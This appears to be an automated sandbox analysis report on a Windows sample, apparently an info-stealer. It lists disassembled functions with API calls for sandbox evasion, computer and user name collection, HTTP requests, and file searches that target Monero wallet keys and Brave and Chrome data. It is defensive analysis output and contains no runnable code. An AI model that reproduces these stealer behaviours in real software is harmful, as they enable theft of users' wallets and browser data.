Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: b26c65dac9c2f1476948facd1e1a4b2260ed459145c421cfb5600313ef2513db
Instruction ID: bd2aa0afd0358578d6d88bb1e01a5d8f568b326052288c778164004ed0001a7e
Opcode Fuzzy Hash: b26c65dac9c2f1476948facd1e1a4b2260ed459145c421cfb5600313ef2513db
Instruction Fuzzy Hash: F9F03470A4430AEAE710BBA09C8ABBE7BB4EB04701F104695B512E12E1DBB15940DBA6

Function 00B747B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00B74839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00B74849

Strings

<, xrefs: 00B747C9

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 26c46732b1fc45a21cba12dda4ee4d1259aa117a9a306b32eaacfdef7cfbd8f0
Instruction ID: 2c84ec9daa027a86a403ea00aa7a4f9a31e0d1891e59e1fdb213db5da5363223
Opcode Fuzzy Hash: 26c46732b1fc45a21cba12dda4ee4d1259aa117a9a306b32eaacfdef7cfbd8f0
Instruction Fuzzy Hash: AF2142B1D00209ABDF14DF54E845ADE7775FB44320F108669F515A72D0EB706605CF91

Function 00B851F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B8A7E6

Part of subcall function 00B76280: InternetOpenA.WININET(00B90DFE,00000001,00000000,00000000,00000000), ref: 00B762E1
Part of subcall function 00B76280: StrCmpCA.SHLWAPI(?,0093E310), ref: 00B76303
Part of subcall function 00B76280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00B76335
Part of subcall function 00B76280: HttpOpenRequestA.WININET(00000000,GET,?,0093D8A8,00000000,00000000,00400100,00000000), ref: 00B76385
Part of subcall function 00B76280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00B763BF
Part of subcall function 00B76280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00B763D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00B85228

Strings

ERROR, xrefs: 00B8521A
ERROR, xrefs: 00B85273

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: a8e64bbc5c737196e56236f2f3e33592ebd88d2dd25ba46f064d05691070e11c
Instruction ID: 98b02294343ad2d874c1f4b128df6bfb448b2d75db869a059c590addb6ce1499
Opcode Fuzzy Hash: a8e64bbc5c737196e56236f2f3e33592ebd88d2dd25ba46f064d05691070e11c
Instruction Fuzzy Hash: 9D110330910148A7DB18FF64DD92AED77F8AF50300F4085D9F81A565A2EF35AB05D7A2

Function 00B71110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00B7112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00B71132
ExitProcess.KERNEL32 ref: 00B71143

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 30c2759cec72fa66938dd0d33ce8304d2ca2e06b2b38e2701346fdb140c3e532
Instruction ID: 7cf3b22dd77344797e578a17a82a6ee93e22a5043ad09573261e48aec3e744b3
Opcode Fuzzy Hash: 30c2759cec72fa66938dd0d33ce8304d2ca2e06b2b38e2701346fdb140c3e532
Instruction Fuzzy Hash: A9E0E674949348FBE7106BA9DC0AB0976B8EB04B01F504594F709BA6D0D6B5264096B9

Function 00B710A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00B710B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00B710F7

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 3e97b3c5514f51ea3f12fdd35650ab063a5939ae465a4ae317a00597de24e809
Instruction ID: ab61ce957f0eb807add10727631e035b8d2bda369e71cdadf96fc2f7651e09ea
Opcode Fuzzy Hash: 3e97b3c5514f51ea3f12fdd35650ab063a5939ae465a4ae317a00597de24e809
Instruction Fuzzy Hash: 01F0E271641308FBE7149AACAC49FAEB7ECE705B15F305988F504E3280D5719E00CAA0

Function 00B71190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00B878E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B87910
Part of subcall function 00B878E0: RtlAllocateHeap.NTDLL(00000000), ref: 00B87917
Part of subcall function 00B878E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00B8792F

Part of subcall function 00B87850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00B711B7), ref: 00B87880
Part of subcall function 00B87850: RtlAllocateHeap.NTDLL(00000000), ref: 00B87887
Part of subcall function 00B87850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00B8789F

ExitProcess.KERNEL32 ref: 00B711C6

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 5ebd8b5a80d356fe8b133ae3e8337e1e8190b3ee6a284180fcbca8f9af6e0170
Instruction ID: c798ea394ead71e2794b97dcce8805c902080c8ae59e38843490a2469cc6d0af
Opcode Fuzzy Hash: 5ebd8b5a80d356fe8b133ae3e8337e1e8190b3ee6a284180fcbca8f9af6e0170
Instruction Fuzzy Hash: 01E0C2B1914301E3CA0037FEAC0AB2A33CC9B00349F4409A4FA08D22A2FE25E800C776

Non-executed Functions

Function 00B838B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00B838CC
FindFirstFileA.KERNEL32(?,?), ref: 00B838E3
lstrcat.KERNEL32(?,?), ref: 00B83935
StrCmpCA.SHLWAPI(?,00B90F70), ref: 00B83947
StrCmpCA.SHLWAPI(?,00B90F74), ref: 00B8395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00B83C67
FindClose.KERNEL32(000000FF), ref: 00B83C7C

Strings

%s\%s\%s, xrefs: 00B83A4A
%s\%s, xrefs: 00B8397A
%s\%s, xrefs: 00B83A6F
%s%s, xrefs: 00B83AAD
%s\*, xrefs: 00B838C0

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 7115f0d304201231a1efbad17f39122c6bc426ca112e3676d819d26ab9cbda05
Instruction ID: 4606b5e2c5d75d88063adf5fc6707011851dcc6b45a76c49fdc2d7999d776058
Opcode Fuzzy Hash: 7115f0d304201231a1efbad17f39122c6bc426ca112e3676d819d26ab9cbda05
Instruction Fuzzy Hash: 74A12FB1900318EBDB24EB64DC85FEE73B8FB48700F0446D8A50D96151EB759B84CF62

Function 00B7BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B8A740: lstrcpy.KERNEL32(00B90E17,00000000), ref: 00B8A788

Part of subcall function 00B8A920: lstrcpy.KERNEL32(00000000,?), ref: 00B8A972
Part of subcall function 00B8A920: lstrcat.KERNEL32(00000000), ref: 00B8A982

Part of subcall function 00B8A9B0: lstrlen.KERNEL32(?,00938A70,?,\Monero\wallet.keys,00B90E17), ref: 00B8A9C5
Part of subcall function 00B8A9B0: lstrcpy.KERNEL32(00000000), ref: 00B8AA04
Part of subcall function 00B8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B8AA12

Part of subcall function 00B8A8A0: lstrcpy.KERNEL32(?,00B90E17), ref: 00B8A905

FindFirstFileA.KERNEL32(00000000,?,00B90B32,00B90B2B,00000000,?,?,?,00B913F4,00B90B2A), ref: 00B7BEF5
StrCmpCA.SHLWAPI(?,00B913F8), ref: 00B7BF4D
StrCmpCA.SHLWAPI(?,00B913FC), ref: 00B7BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 00B7C7BF
FindClose.KERNEL32(000000FF), ref: 00B7C7D1

Strings

Google Chrome, xrefs: 00B7C634
Brave, xrefs: 00B7C102
\Brave\Preferences, xrefs: 00B7C1DB
Preferences, xrefs: 00B7C11E

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 685f058ff87aec0665d30f572564524201e781f7bf16fa4cceaf0010ddee516c
Instruction ID: 5a04c6664b6c0047bfa831b627daed67bd34a012735a95cc97297af955113dfb
Opcode Fuzzy Hash: 685f058ff87aec0665d30f572564524201e781f7bf16fa4cceaf0010ddee516c
Instruction Fuzzy Hash: 91425672910104ABDB14FB74DD96EED73BCAF54300F4085D9F50AA61A1EE34AF49CBA2

Function 00B84910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00B8492C
FindFirstFileA.KERNEL32(?,?), ref: 00B84943
StrCmpCA.SHLWAPI(?,00B90FDC), ref: 00B84971
StrCmpCA.SHLWAPI(?,00B90FE0), ref: 00B84987
FindNextFileA.KERNEL32(000000FF,?), ref: 00B84B7D
FindClose.KERNEL32(000000FF), ref: 00B84B92

Strings

%s\%s, xrefs: 00B849FB
%s\%s, xrefs: 00B849A4
%s\*, xrefs: 00B84920

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 2a31cd1c81f7f8508d5302657044442a36d9255c4bbe3009cd82b63502b14e8b
Instruction ID: cacf46554050c8952c9f82ae71f96439dc6321b7ed8669c0a940b499d78b1cac
Opcode Fuzzy Hash: 2a31cd1c81f7f8508d5302657044442a36d9255c4bbe3009cd82b63502b14e8b
Instruction Fuzzy Hash: FE6154B2910219EBCB24FBA4DC45FEA73BCBB48700F0486D8F60996151EB759B45CFA1

Function 00B84570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00B84580
RtlAllocateHeap.NTDLL(00000000), ref: 00B84587
wsprintfA.USER32 ref: 00B845A6
FindFirstFileA.KERNEL32(?,?), ref: 00B845BD
StrCmpCA.SHLWAPI(?,00B90FC4), ref: 00B845EB
StrCmpCA.SHLWAPI(?,00B90FC8), ref: 00B84601
FindNextFileA.KERNEL32(000000FF,?), ref: 00B8468B
FindClose.KERNEL32(000000FF), ref: 00B846A0
lstrcat.KERNEL32(?,0093E220), ref: 00B846C5
lstrcat.KERNEL32(?,0093D6F8), ref: 00B846D8
lstrlen.KERNEL32(?), ref: 00B846E5
lstrlen.KERNEL32(?), ref: 00B846F6

Strings

%s\%s, xrefs: 00B8461B
%s\*, xrefs: 00B8459A

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: bb5721cd9b5607ddf8abd6fe9bd8efbe653ccd28cb5c2f89edc2a5e54f2bac69
Instruction ID: d3e790ecf97e7e4d35555f764a0d862a62232acad1752f3ba58ca3c42ac8a567
Opcode Fuzzy Hash: bb5721cd9b5607ddf8abd6fe9bd8efbe653ccd28cb5c2f89edc2a5e54f2bac69
Instruction Fuzzy Hash: 925111B5950218EBCB24FB74DC89BE973B8AB58700F4046D8A61996150EB749B84CFA1

Function 00B83EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00B83EC3
FindFirstFileA.KERNEL32(?,?), ref: 00B83EDA
StrCmpCA.SHLWAPI(?,00B90FAC), ref: 00B83F08
StrCmpCA.SHLWAPI(?,00B90FB0), ref: 00B83F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00B8406C
FindClose.KERNEL32(000000FF), ref: 00B84081

Strings

%s\%s, xrefs: 00B83EB7

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
